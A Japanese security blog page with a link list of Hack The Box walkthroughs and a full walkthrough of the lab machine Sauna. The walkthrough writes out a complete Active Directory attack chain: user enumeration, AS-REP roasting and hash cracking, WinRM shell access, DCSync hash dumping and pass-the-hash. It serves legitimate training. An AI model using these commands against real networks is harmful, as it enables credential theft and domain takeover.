Hacker Oneの無料のペンテスト基礎講座 まとめ ペンテスト・バグバウンティについて勉強していきたい人におすすめ
HackerOneが公開しているペンテストの基礎講座の動画 PENTESTING BASICS VIDEO SERIES LAUNCHED ON HACKER101 のPart1~4を見たのでまとめました。
Hacker Oneの無料のペンテスト基礎講座
— si🌤️ (@security_index) 2020年7月24日
part1 OWASP Top 10
part2 ペンテストvsバグバウンティ
part3 ペンテスト関連資料
part4 レポート作成とベストプラクティス
Pentesting basics video series launched on Hacker101 https://t.co/TA3jjN0nJl

Hack The Box 日本語 Walkthrough/Writeup まとめ
Hack The Boxの日本語のWalkthrough/Writeupをまとめてみました!
英語のWalkthrough/Writeupは多くありますが日本語のものは比較的まだ数が少ないです。
Walkthroughを読まずに自分の力だけで攻略するのが理想ですが、私のような初心者ではまだ自分の力だけでは厳しいこともあります。
また、英語のWalkthroughをGoogle翻訳を使って読むこともできますが細かい部分がよくわからないことも...
そんな自分のような人が苦労しないようにと日本語のWalkthrough/Writeupをまとめてみました。
そもそもHack The Boxって何?という人は以下の記事もどうぞ。
Hack The Boxを始めて1つrootを取るまでのメモ - Security Index
Hack The Boxって何?と思ったら読むブログ - Security Index
Hack The Boxに挑戦する前に事前に勉強したいという人向けはこちら。
サイバーセキュリティ レッドチーム実践ガイド その1 - Security Index

最後におまけとして今回のまとめを作るために作成したGoogle スプレットシートのリンクも公開してますのでもし良かったら見てみてください。
Walkthrough/Writeup
EASY
Linux
Traceback
【HackTheBox】Traceback - Walkthrough - - Qiita
Lame
【HackTheBox】Lame - Walkthrough - - Qiita
【Hack the Box write-up】Lame - Qiita
Hack The Box[Lame] -Writeup- - Qiita
1台目 <Hack the Box> Lame -Walkthrough- - Qiita
【Hack The Box】Lame Walkthrough - Paichan 技術メモブログ
Beep
【Hack the Box write-up】Beep - Qiita
【HackTheBox】Beep - Writeup - - Qiita
【Hack The Box】Beep Walkthrough - Paichan 技術メモブログ
Bank
【Hack the Box write-up】Bank - Qiita
Hack The Box[Bank] -Writeup- - Qiita
【Hack The Box】Bank Walkthrough - Paichan 技術メモブログ
Blocky
【Hack the Box write-up】Blocky - Qiita
Hack The Box[Blocky] -Writeup- - Qiita
【Hack The Box】Blocky Walkthrough - Paichan 技術メモブログ
Mirai
【Hack the Box write-up】Mirai - Qiita
Hack The Box[Mirai] -Writeup- - Qiita
【Hack The Box】Mirai Walkthrough - Paichan 技術メモブログ
Shocker
【Hack the Box write-up】Shocker - Qiita
Hack The Box[Shocker] -Writeup- - Qiita
【Hack The Box】Shocker Walkthrough - Paichan 技術メモブログ
Bashed
【Hack the Box write-up】Bashed - Qiita
Hack The Box[Bashed] -Writeup- - Qiita
【Hack The Box】Bashed Walkthrough - Paichan 技術メモブログ
Nibbles
【Hack the Box write-up】Nibbles - Qiita
Valentine
【Hack the Box write-up】Valentine - Qiita
Hack The Box[Valentine] -Writeup- - Qiita
【Hack The Box】Valentine Walkthrough - Paichan 技術メモブログ
Curling
【Hack the Box write-up】Curling - Qiita
Irked
【Hack the Box write-up】Irked - Qiita
Hack The Box[Irked] -Writeup- - Qiita
Teacher
【Hack the Box write-up】Teacher - Qiita
Help
【Hack the Box write-up】Help - Qiita
FriendZone
【Hack the Box write-up】FriendZone - Qiita
SwagShop
【Hack the Box write-up】SwagShop - Qiita
Hack The Box[SwagShop] -Writeup- - Qiita
Window
Legacy
【HackTheBox】Legacy - Walkthrough - - Qiita
【Hack the Box write-up】Legacy - Qiita
Hack The Box[Legacy] -Writeup- - Qiita
【Hack The Box】Legacy Walkthrough - Paichan 技術メモブログ
Devel
【Hack the Box write-up】Devel - Qiita
Hack The Box[Devel] -Writeup- - Qiita
Hack the Box (HTB) Devel write-up - Qiita
【Hack The Box】Devel Walkthrough - Paichan 技術メモブログ
Optimum
【Hack the Box write-up】Optimum - Qiita
Hack The Box[Optimum] -Writeup- - Qiita
【Hack The Box】Optimum Walkthrough - Paichan 技術メモブログ
Hack The Box optimum[windows] - 備忘録なるもの
Arctic
【Hack the Box write-up】Arctic - Qiita
HTB arctic [windows] - 備忘録なるもの
Grandpa
【Hack the Box write-up】Grandpa - Qiita
Hack The Box[Grandpa] -Writeup- - Qiita
Granny
【Hack the Box write-up】Granny - Qiita
Hack The Box[Granny] -Writeup- - Qiita
Blue
【Hack the Box write-up】Blue - Qiita
Hack The Box[Blue] -Writeup- without metasploit - Qiita
2台目 <Hack the Box> Blue -Walkthrough- - Qiita
【Hack The Box】Blue Walkthrough - Paichan 技術メモブログ
Jerry
【Hack the Box write-up】Jerry - Qiita
Hack The Box[Jerry] -Writeup- - Qiita
【Hack The Box】Jerry Walkthrough - Paichan 技術メモブログ
Active
【HackTheBox】Active - Walkthrough - - Qiita
【Hack the Box write-up】Active - Qiita
Access
HackTheBox[Access] -Writeup- - Qiita
Netmon
【Hack the Box write-up】Netmon - Qiita
Hack The Box[Netmon] -Writeup- - Qiita
Forest
【HackTheBox】Forest - Walkthrough - - Qiita
【HackTheBox】Forest - Writeup - - Qiita
Hack The Box: Forest Walkthrough (Japanese) - Qiita
(Hack The Box) Forest writeup - Qiita
Traverxec
HackTheBox[Traverxec] -Writeup- - Qiita
Sauna
Hack The Box: Sauna Walkthrough (IppSec) - Security Index
Remote
【HackTheBox】Remote - Walkthrough - - Qiita
【Hack the Box write-up】Remote - Qiita
ServMon
【Hack the Box write-up】ServMon - Qiita
Hack The Box[ServMon] -Writeup- - Qiita
Buff
【HackTheBox】Buff - Walkthrough - - Qiita
【Hack the Box write-up】Buff – さんぽしの散歩記
FreeBSD
Sense
【Hack the Box write-up】Sense - Qiita
Hack The Box[Sense] -Writeup- - Qiita
MEDIUM
Linux
Magic
【Hack the Box write-up】Magic - Qiita
Popcorn
【Hack the Box write-up】Popcorn - Qiita
【Hack the Box】Popcorn - Write Up - Qiita
Tenten
【Hack the Box write-up】Tenten - Qiita
Cronos
【Hack the Box write-up】Cronos - Qiita
【HackTheBox】Cronos - Writeup - - Qiita
hack the box Cronos [linux] - 備忘録なるもの
SolidState
【Hack the Box write-up】SolidState - Qiita
Celestial
【Hack the Box write-up】Celestial - Qiita
DevOops
【Hack the Box write-up】DevOops - Qiita
Windows
Bastard
Hack The Box[Bastard] -Writeup- - Qiita
Chatterbox
【Hack the Box write-up】Chatterbox - Qiita
【HackTheBox】Chatterbox - Writeup - - Qiita
Resolute
Hack The Box[Resolute] -Writeup- - Qiita
Hack The Box: Resolute Walkthrough (Japanese) - Qiita
FreeBSD
Poison
【Hack the Box write-up】Poison - Qiita
Hack the Box (HTB) Poison write-up - Qiita
Luke
【Hack the Box write-up】Luke - Qiita
最後に
Google スプレットシート
Retiredマシンの一覧、DIFFICULTY、OS、Walkthrough/WriteupのURLが一覧化されているスプレットシートになります。
HackTheBox_日本語walkthrough一覧 - Google スプレッドシート
データ->フィルタの表示->新しい一時的なフィルタ ビューを作成
でWalkthroughがあるものだけ表示などフィルタ機能も使えます。

日本語のWalkthrough/Writeupがまとまっていることで、1つのマシンを攻略するのに1つのWalkthroughだけを読む、のではなく複数のWalkthroughをみることができます。色々な攻略方法、ツールの使い方、こんなオプションの使い方があるのかなど、多くの学びもあるような気がするのでそういう用途にも使えるのかなぁと思っています。
Walkthroughを読んでみて面白そうだなと思ったマシンを実際に自分でもやってみるというのもありだと思います。私もBlueのWalkthroughを読んで実際にやってみようと思うことがありました。
まだまだEASYのマシンでもWalkthroughがないものもあるのでそういうマシンをあえて攻略してWalkthroughを書いてみる、というのも良いかもしれません。
もしここにないWalkthroughを知ってる、自分のWalkthroughが載ってない、などありましたらコメントいただけると嬉しいです。
GoReleaserとGithub Actionsを使ってGoのCLIツールをHomebrew installできるようにする
go-cve-search 作ってみた - TDD, Circleci, README Badge, Terminal Gif, Cliツール開発の話の続きでGoReleaserを使ってhomebrew installでGoのCLIツールを簡単にインストールできるようにしました。
brew tapでs-index/go-cve-searchを登録して、brew installするとインストールできるようになります。
$ brew tap s-index/go-cve-search $ brew install s-index/go-cve-search/go-cve-search
brew tapというものを今まで知らなかったのですが公式以外のリポジトリを登録してそこからインストールできるようにするもののようです。
作成したレポジトリはこちら。 GitHub - s-index/go-cve-search: lightweight CVE search

Hack The Box: Sauna Walkthrough (IppSec)
Hack The BoxのSauna (Easy, Windows)のWalkthroughです。
丁寧に書いたのでHack The BoxのWindowsマシンの攻略の参考やそもそもHack The Boxってどんな感じなことやればいいの?といった雰囲気を感じることもできると思います。
IppSecの動画を見ながらやったのでほぼ同じ内容になっていると思います。
Hack The Boxって何?という方は以下の記事が参考になります。
Hack The Box 始めたい!という方は@v_avengerさんの以下の記事がおすすめです!

日本語Walkthroughのまとめも公開してます。
Hack The Box 日本語 Walkthrough/Writeup まとめ - Security Index
User Own
Nmap
まずは、nmapでスキャンします。
nmap -v -sC -sV -oA nmap/sauna 10.10.10.175
簡単にそれぞれのオプションについて説明すると
-v : 出力を詳細にする -sC : デフォルトのスクリプトでスキャン。-scrip=defautと同じ。 -sV : バージョンの検出 -oA : 出力(Output)をALL。XML、スクリプトキディ出力、grep用出力をする。
-oA nmap/saunaとすることでnmapフォルダ以下に3つのnmapのスキャン結果ファイルが生成されます。
sauna.gnmap sauna.nmap sauna.xml
ファイルとして残しておくことで、あとで確認しやすくなりますし、ペンテストやレッドチームでは最終調査結果をレポートとして提出すると思うのでファイルとして残しておくことを癖にしておくことは良いと思います。
nmapの実行結果の一部は以下のようになります。
Discovered open port 445/tcp on 10.10.10.175 Discovered open port 80/tcp on 10.10.10.175 Discovered open port 135/tcp on 10.10.10.175 Discovered open port 139/tcp on 10.10.10.175 Discovered open port 53/tcp on 10.10.10.175 Discovered open port 3268/tcp on 10.10.10.175 Discovered open port 636/tcp on 10.10.10.175 Discovered open port 464/tcp on 10.10.10.175 Discovered open port 3269/tcp on 10.10.10.175 Discovered open port 593/tcp on 10.10.10.175 Discovered open port 88/tcp on 10.10.10.175 Discovered open port 389/tcp on 10.10.10.175
今回はHack The Boxのマシンのページで対象のサーバーがWindowsであることがわかっていますが、
88 : kerberos 445 : SMB 636 : 暗号化されたLDAP
これらのOpen Portからも対象のサーバーがWindowsの可能性が高いとわかります。
crackmapexec
CrackMapExec (CME) は、Active Direcotryへの自動セキュリティアセスメントツール(post-exploitation)で、できるだけIDS/IPSに検知されないように設計されたもののようです。
内部でImpacket, PowerSploit, Mimikittenzなどのツールが使われているようです。
Introduction - CrackMapExec ~ CME WIKI
# crackmapexec smb 10.10.10.175 --shares -u '' -p ''
SMB 10.10.10.175 445 SAUNA [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICALBANK) (signing:True) (SMBv1:False)
SMB 10.10.10.175 445 SAUNA [-] EGOTISTICALBANK\: STATUS_ACCESS_DENIED
SMB 10.10.10.175 445 SAUNA [-] Error enumerating shares: SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
username, password共に空なので当然ですがSTATUS_ACCESS_DENIEDとなり上手くいきません。
しかし、(name:SAUNA) (domain:EGOTISTICALBANK) (signing:True) (SMBv1:False)という情報は得られました。
smbmap
crackmapexec以外のツールでも確認してみます。
smbmapはドメイン全体のsambaの共有ドライブの列挙ができるものです。
# smbmap -H 10.10.10.175 -u '' -p '' [+] IP: 10.10.10.175:445 Name: 10.10.10.175
smbmapでもcrackmapexecで得られたこと以上の情報は得られません。
ウェブページ確認
次にウェブページを確認します。
nmapで80番ポートがOPENだったのでアクセスできるはずです。
10.10.10.175にアクセスするとこのようなページへアクセスできます。

ソースの確認
ウェブページのソースを確認してみます。
Ctrl+Uでソースの確認ができます。

ソースを確認することでどんなCMS (WordPressやDrulpal)が使われているか特定できることがあります。
今回は特に気になるCMSは使われていなそうです。
拡張子の確認
10.10.10.175/index.html, 10.10.10.175/index.php, 10.10.10.175/index.asp, 10.10.10.175/index.aspxのように拡張子を変えてアクセスすることで内部がPHPで動いているのか、ASPが使われているのか推測することができます。
今回は.htmlしかアクセスできませんでした。
ユーザー名候補一覧の収集、作成 (Vim レコーディング機能)
ウェブページにはどんな人たちが開発に関わっているのか推測できる情報が載っている場合があります。
今回の場合ではabout usのページに提供サービスに関わる人たちのフルネームが掲載されているます。

この情報からサーバーで利用されているユーザー名の候補一覧を作成することができます。

Vimで名前をコピペします。
しかし、このままの形でユーザー名が登録されているかはわかりません。 Fergus Smithであれば、F.Smithという形で登録することもありますし、FSmithやFergus.Smithなどいくつかよく登録されれるパターンが考えられます。
そこでこれらのパターンを網羅するようにユーザー名候補一覧を追加していきます。
ここではVimのレコーディング機能を使って効率良く候補一覧を作成します。
Vimではノーマルモード時にqaを押すことでその後の操作のレコーディングを行うことができます。
左下のようにrecordingと書かれている間操作を記録し、ノーマルモード時にqを押すとレコードが終了となります。

このレコーディング機能を使って一行目のFergus SmithをFergus.Smith, FSmith, Fergus.Smithに変更し、その以降のものに関しては記録したものを@aで再現することができるのでそれを使って複製していきます。
5@aとすることで5回同じ処理を繰り返すことができますので一度に以下のようなユーザー名候補を作成することができます。

これらの候補一覧に加えて、Windowsアカウントで使われるadministratorとguestを追加しておきます。
kerbrute
ユーザー名候補一覧が作成できたら、Active Directoryのアカウントに対してブルートフォースができるkerbruteを使います。
余談ですが、kerbruteはGo言語で書かれており、セキュリティのツールはPythonが多いイメージがあるが最近はGoも見る気がしています。
releasesから実行ファイルをダウンロードして利用します。
chmodして、先ほど作成したユーザー名候補一覧users.txtを引数に入れます。
# chmod +x kerbrute_linux_amd64 # ./kerbrute_linux_amd64 userenum --dc 10.10.10.175 -d EGOTISTICALBANK users.txt
実行結果をみると、administratorとFSmithがヒットしました。
2020/08/15 03:03:49 > [+] VALID USERNAME: administrator@EGOTISTICALBANK 2020/08/15 03:03:49 > [+] VALID USERNAME: FSmith@EGOTISTICALBANK 2020/08/15 03:03:49 > Done! Tested 26 usernames (2 valid) in 0.747 seconds
/etc/hostsの設定
次にやることの前準備として/etc/hostsの設定を行います。
/etc/hostsでIPアドレスとそれに対応するホスト名を設定することができます。
以下のように一行に複数のホスト名を列挙して設定することもできます。

GetNPUsers
Impacketというネットワークプロトコルを操作するためのもので、examples以下に色々な使い勝手の良いスクリプトが用意されています。
GetNPUsersは、Impacketのexamplesの中の一つで、Kerberos認証で使われるTGT(Ticket Granting Ticket)を取得することができます。
kaliでは既にimpacketがインストールされているのでそちらを使います。
locate GetNPUsersでどこにあるのか確認することができます。
# python3 GetNPUsers.py EGOTISTICALBANK/fsmith
実行結果
[*] Cannot authenticate fsmith, getting its TGT $krb5asrep$23$fsmith@EGOTISTICALBANK:c932696d721341ea6010068a314f5239$f297602f9d43f04534e0a4cf7f4589ad9469c483ed5a331375fe035555c37acdf6d6211bdfaa7f165324979ab3d4240b05e391143f4e026138ecbaaede6b7fab1472dc29e3ae7d8bd703f320885391801f48686a2a197268c16bfc85a6ccf973583c64884a0738fbedbb427360730203fd05eae6fe78a0f8486cdffa0e0d64853d9cb94592ce3dc88a1ed8fa12bf65478a07d144ca6d733dc1a2077ce1ac58a2a39f393f6877b6995c6725be8c540b92095b56035ef5e7101ae2ae5a3c8c147bc810221b269a4596fb2a84099b0bba05d1b57e0f37b142c520fd4d5cabbbcb6f97e588b475fc1c343f9f1782a5347796d72e9db7a84dc5d7f3
TGTを取得することができました!
hashcat
TGTを取得することができたら次にパスワードを推測します。
TGTにはパスワードハッシュが含まれているのでhashcatを使うことでパスワードを特定することができます。
hashcatはMD4, MD5, SHA1など多くのタイプのハッシュからパスワードを復元することができます。
そのため、どのタイプのハッシュなのかもhashcatの引数(mode)として与える必要があるのでmodeが何に当たるのか確認します。
# hashcat --example-hashes | less
TGTの先頭の文字列krb5asrepで検索すると
MODE: 18200 TYPE: Kerberos 5, etype 23, AS-REP HASH: $krb5asrep$23$user@domain.com:3e156ada591263b8aab0965f5aebd837$007497cb51b6c8116d6407a782ea0e1c5402b17db7afa6b05a6d30ed164a9933c754d720e279c6c573679bd27128fe77e5fea1f72334c1193c8ff0b370fadc6368bf2d49bbfdba4c5dccab95e8c8ebfdc75f438a0797dbfb2f8a1a5f4c423f9bfc1fea483342a11bd56a216f4d5158ccc4b224b52894fadfba3957dfe4b6b8f5f9f9fe422811a314768673e0c924340b8ccb84775ce9defaa3baa0910b676ad0036d13032b0dd94e3b13903cc738a7b6d00b0b3c210d1f972a6c7cae9bd3c959acf7565be528fc179118f28c679f6deeee1456f0781eb8154e18e49cb27b64bf74cd7112a0ebae2102ac PASS: hashcat
modeが18200であることがわかります。
hashcat -hからもmodeの確認はできますが、実際に確認したいTGTの文字列から検索できるのでhashcat --example-hashesも知っておくと便利です。
modeがわかったら実際にhashcatでクラックします。
# hashcat -m 18200 tgt-hash.txt /usr/share/wordlists/rockyou.txt
(tgt-hash.txtに先ほど取得したTGTを保存しています)
hashcatでは利用するパスワードリストも指定する必要がありますが、kaliで標準でインストールされている/usr/share/wordlists/rockyou.txtを利用することが良いと思います。
実行するとして以下のようにCrackedとなり、Thestrokes23がパスワードだとわかりました!
$krb5asrep$23$fsmith@EGOTISTICALBANK:c932696d721341ea6010068a314f5239$f297602f9d43f04534e0a4cf7f4589ad9469c483ed5a331375fe035555c37acdf6d6211bdfaa7f165324979ab3d4240b05e391143f4e026138ecbaaede6b7fab1472dc29e3ae7d8bd703f320885391801f48686a2a197268c16bfc85a6ccf973583c64884a0738fbedbb427360730203fd05eae6fe78a0f8486cdffa0e0d64853d9cb94592ce3dc88a1ed8fa12bf65478a07d144ca6d733dc1a2077ce1ac58a2a39f393f6877b6995c6725be8c540b92095b56035ef5e7101ae2ae5a3c8c147bc810221b269a4596fb2a84099b0bba05d1b57e0f37b142c520fd4d5cabbbcb6f97e588b475fc1c343f9f1782a5347796d72e9db7a84dc5d7f3:Thestrokes23 Session..........: hashcat Status...........: Cracked Hash.Name........: Kerberos 5, etype 23, AS-REP
evil-winrm
ユーザー名、パスワード共にわかったので今度はevil-winrmを使ってシェルの獲得を試みます。
WinRM (Windows Remote Management)が有効になっている場合にはシェルが獲得できる可能性があります。
まずはインストールします。
evil-winrmはRubyなのでgemを使ってインストールできます。
# gem install evil-winrm
その後、ユーザー名、パスワードを引数に与えて実行します。
evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23
結果
Evil-WinRM shell v2.3 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\FSmith\Documents>
シェル獲得成功です!
あとは、Desktopに移動してuser.txtを開けばUser Own完了です。
*Evil-WinRM* PS C:\Users\FSmith\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\FSmith\Desktop> dir
Directory: C:\Users\FSmith\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/23/2020 10:03 AM 34 user.txt
*Evil-WinRM* PS C:\Users\FSmith\Desktop> Get-Content user.txt
1b5520b98d97cf17f24122a55baf70cf
Root Own
一般ユーザーのアカウントを獲得できたあとは、管理者ユーザーへ権限の昇格を目指します。
winPEAS
Windowsの権限昇格のための便利ツールとしてwinPEASがあります。

winPEASは一般ユーザーでwinPEASを実行することで権限昇格のために役立ちそうな情報を収集し、重要な情報を赤色で表示してくれるものです。
あくまで情報を集めて表示してくれるものなのでこれを実行すれば自動で管理者権限が取れるというものではありません。
まずは、シェルを獲得できたユーザー上で実行する実行ファイルをダウンロードします。
Githubのprivilege-escalation-awesome-scripts-suiteを丸ごとダウンロードして、winPEAS/winPEASexe/winPEAS/bin/Release/の中にあるwinPEAS.exeを使います。
privilege-escalation-awesome-scripts-suiteにはwinPEAS以外にもlinPEASというLinux用のスクリプトも提供しています。
winPEAS.exeがあるディレクトリ内でevil-winrmでログインしてアップロードします。
Evil-WinRM* PS C:\Users\FSmith\Documents> upload winPEAS.exe
アップロードが完了したら実行します。
*Evil-WinRM* PS C:\Users\FSmith\Documents> ./winPEAS.exe
実行するとかなり大量の結果が出力されます。
以下のように重要な部分は赤色で表示されますのでその部分を重点的に確認していきます。

するとこのようにSome AutoLogon credentials were found!!という興味深いものが発見できることがあります。
ここではsvc_loanmanagerというアカウントの自動ログインのパスワードMoneymakestheworldgoround!が発見できました。
Bloodhound
winPEASでsvc_loanmanagerのパスワードまでは発見できたのですが、管理者権限のアカウントまでは繋がりませんでした。
このような時に使えるのがBloodboundです。
BloodhoundではActive Directoryの権限の関係をグラフ化し、どのアカウントから管理者権限を取れるのかを明らかにしてくれるツールです。
詳しくは@v_avengerさんの以下の記事が参考になります。
BloodHoundを使用したWindows Active Directory環境の分析 - Qiita
また、レッドチーム実践ガイドをお持ちの方は4.8 Windowsドメイン環境を乗っ取る 3. Bloodhound / Sharphound (P.163)にも詳しく書かれています。
まずはインストールします。
# apt install -y bloodhound
neo4jも必要なので起動させます。
# neo4j console
http://localhost:7474/browser/へアクセスして初期設定としてパスワードの変更を行います。
(変更後のパスワードはこの後Bloodhoundで利用します)
Bloodhoundを起動します。
# bloodhound
このようなログイン画面が出てきますのでユーザー名、変更後のパスワードを入力します。

真っ白いキャンバスが出てきたらOKです。
次にWindowsサーバー上でBloodhoundのIngestorを実行し、Active Directoryのユーザー、グループ、ホストの情報を収集させます。
IngestorはGithubのBloodhoundのIngestor以下にあるSharpHound.exeを使います。
こちらをwinPEASと同様にWindowsサーバーにアップロードして実行します。
*Evil-WinRM* PS C:\Users\FSmith\Documents> upload SharpHound.exe *Evil-WinRM* PS C:\Users\FSmith\Documents> ./SharpHound.exe
実行すると以下のようなzipファイルが生成されます。
*Evil-WinRM* PS C:\Users\FSmith\Documents> dir
Directory: C:\Users\FSmith\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 8/16/2020 9:00 AM 9114 20200816090054_BloodHound.zip
こちらを今度はkali側にダウンロードします。
*Evil-WinRM* PS C:\Users\FSmith\Documents> download 20200816090054_BloodHound.zip
ダウンロードしたファイルを先ほどのBloodhoundに読み込ませます。
ファイルをドラッグ&ドロップさせればできます。
次に自分が現在アクセスできるユーザーを登録していきます。
現在、fsmithとsvc_loanmanagerのアカウントは獲得できているのでその設定を行います。

左上の検索窓にfsmithやsvc_loanmanagerを入力するとサジェストされるのでクリックします。
そうするとアイコンが表示されます。
そのアイコン右クリックして表示されるメニューからMark User as Ownedを選択し、自分が権限を獲得できていることをマークしていきます。

(マークするとドクロマークが付きます)
左上のマークを押して、QueriesのFind Shortest Paths to Domain AdminsをクリックするとAdminまでの最短パスを確認できます。
しかし、このパス上には既に獲得したアカウントはないため直接Adminになることはできないようです。

次にFind Principals with DCSync Rightsをクリックします。

すると右下にドクロマークの付いたアイコンがあり、DCSyncを使うとAdminまで辿り着けどうな感じがします。
DCSyncとは何かというと、Administratorなどのドメイン内のユーザーのハッシュを取得するためにドメインコントローラーになりすましをするというものだそうです。
DCSyncを実行するためにはドメイン管理者、Domain Controllersグループのメンバーなどである必要があり、今回svc_loanmgrが「Find Principals with DCSync Rights」で表示されたのでまさにDCSyncを実行できるユーザーであることがわかりました。
DCSnycについてもレッドチーム実践ガイドの4.9 ドメインコントローラのハッシュをダンプする (P.185)に書かれています。
secretsdump
Bloodhoundの結果、svc_loanmgrでDCSnycでAdminまで辿り着けそうだとわかりました。
次に実際にAdminのハッシュを獲得するためにsecretsdumpを使います。
secretsdumpもGetNPUsersと同様にImpacketのexampleの中にあるもので、色々な方法を使ってハッシュのダンプを取得してくれます。
locate secretsdumpで場所を確認し、svc_loanmgrで実行します。
# python3 secretsdump.py EGOTISTICALBANK/svc_loanmgr@10.10.10.175
パスワードを求められるのでwinPEASで発見したMoneymakestheworldgoround!を入力します。
結果
[*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c::: EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd::: EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd::: EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c::: SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:57b0c872972fd21d593b99a50fd6dcd1:::
Administratorのハッシュを獲得できました!
psexec
secretsdumpでAdministratorのハッシュが獲得できたのでこのハッシュを使ってAdminにアクセスできれば完了です。
PsExecはWindows Sysinternalsでも公開されているWindowsをリモートからアクセスするためのツールです。
こちらもsecretsdump、GetNPUsersと同様にImpacketのexampleの中で用意されているものがあるのでこちらを利用します。
locate psexecで場所を確認し、administratorで実行します。
# python3 psexec.py EGOTISTICALBANK/administrator@10.10.10.175 -hashes aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff
実行するとWindowsのコマンドプロンプトのシェルが取れます。
C:\Windows\system32>
あとはadministratorのデスクトップに置かれたファイルを確認するだけです!
C:\Windows\System32>cd ../../Users/Administrator/Desktop C:\Users\Administrator\Desktop>type root.txt f3ee04965c68257382e31502cc5e881f
Root Own!
最後に
今までLinuxマシンは2台攻略したことがありましたがWindowsマシンは苦手意識があり避けていました。
ですが一度やってみるとなんとなく雰囲気が掴めたような気がします。
今回はIppSecさんのSaunaの動画を見て攻略しましたが、ライブコーディング(ライブハッキング?)のようにその場でどこに注目してどう考えてやっているのかわかるのでとても参考になりますし、面白かったです。
特にVimのレコーディング機能は使ったことがなかったので、これを使いこなせるようになると確かにHack The Box以外の細かい作業も捗りそうです。
VIPのみの機能だと思いますが、Retired Machinesには公式のWalkthroughとUser-submitted Walkthroughsというものがあります。
私もsubmittedしてみました!
(今はまだpending状態ですAcceptされました!)



また、GithubでもWalkthroughやCheat Cheatを公開していきたいと考えています。
GitHub - s-index/HackTheBox: HackTheBoxのWalkthroughやCheatsheet
現状だとこのブログ記事とほぼ同じSaunaのWalkthroughのみですが・・・今後少しずつ追加できたらと思います!
Hack The Box 日本語 Walkthrough/Writeup まとめ - Security Index
サイバーセキュリティ レッドチーム実践ガイド その3
前々回『サイバーセキュリティ レッドチーム実践ガイド その1』、前回『サイバーセキュリティ レッドチーム実践ガイド その2』の続きで「サイバーセキュリティ レッドチーム実践ガイド」という本を読んだメモ書きです。
今回は「第5章 ソーシャルエンジニアリング」、「第6章 物理的なアクセス」、「第7章 アンチウイルスの回避」の部分となります。

続きを読む
Vulsのコードを読む まとめ (Vuls コードリーディング)
以前に書いた「Vulsのコードを読む」シリーズの記事のまとめページです。
Vulsのコードリーディングをしてどうやって脆弱性スキャンをしているのか4回に分けて記事にしていたのでその記事の解説とそれに関わる記事の解説を書いてます。
このまとめ記事を書くに辺り過去の記事を更新したり、vulsのアップデートを確認したり、自分で書いたはずの記事なのに忘れていることが多かったり・・・振り返ることができました。
また、元々コードを読んで理解しようというモチベーションで始めたものがプルリク出してOSSに貢献できたり、実際に自分でコードを書いてOSSを公開したりと、ちょっとしたきっかけがどんどん次に繋がっていたのだなぁと改めて思いました。

続きを読む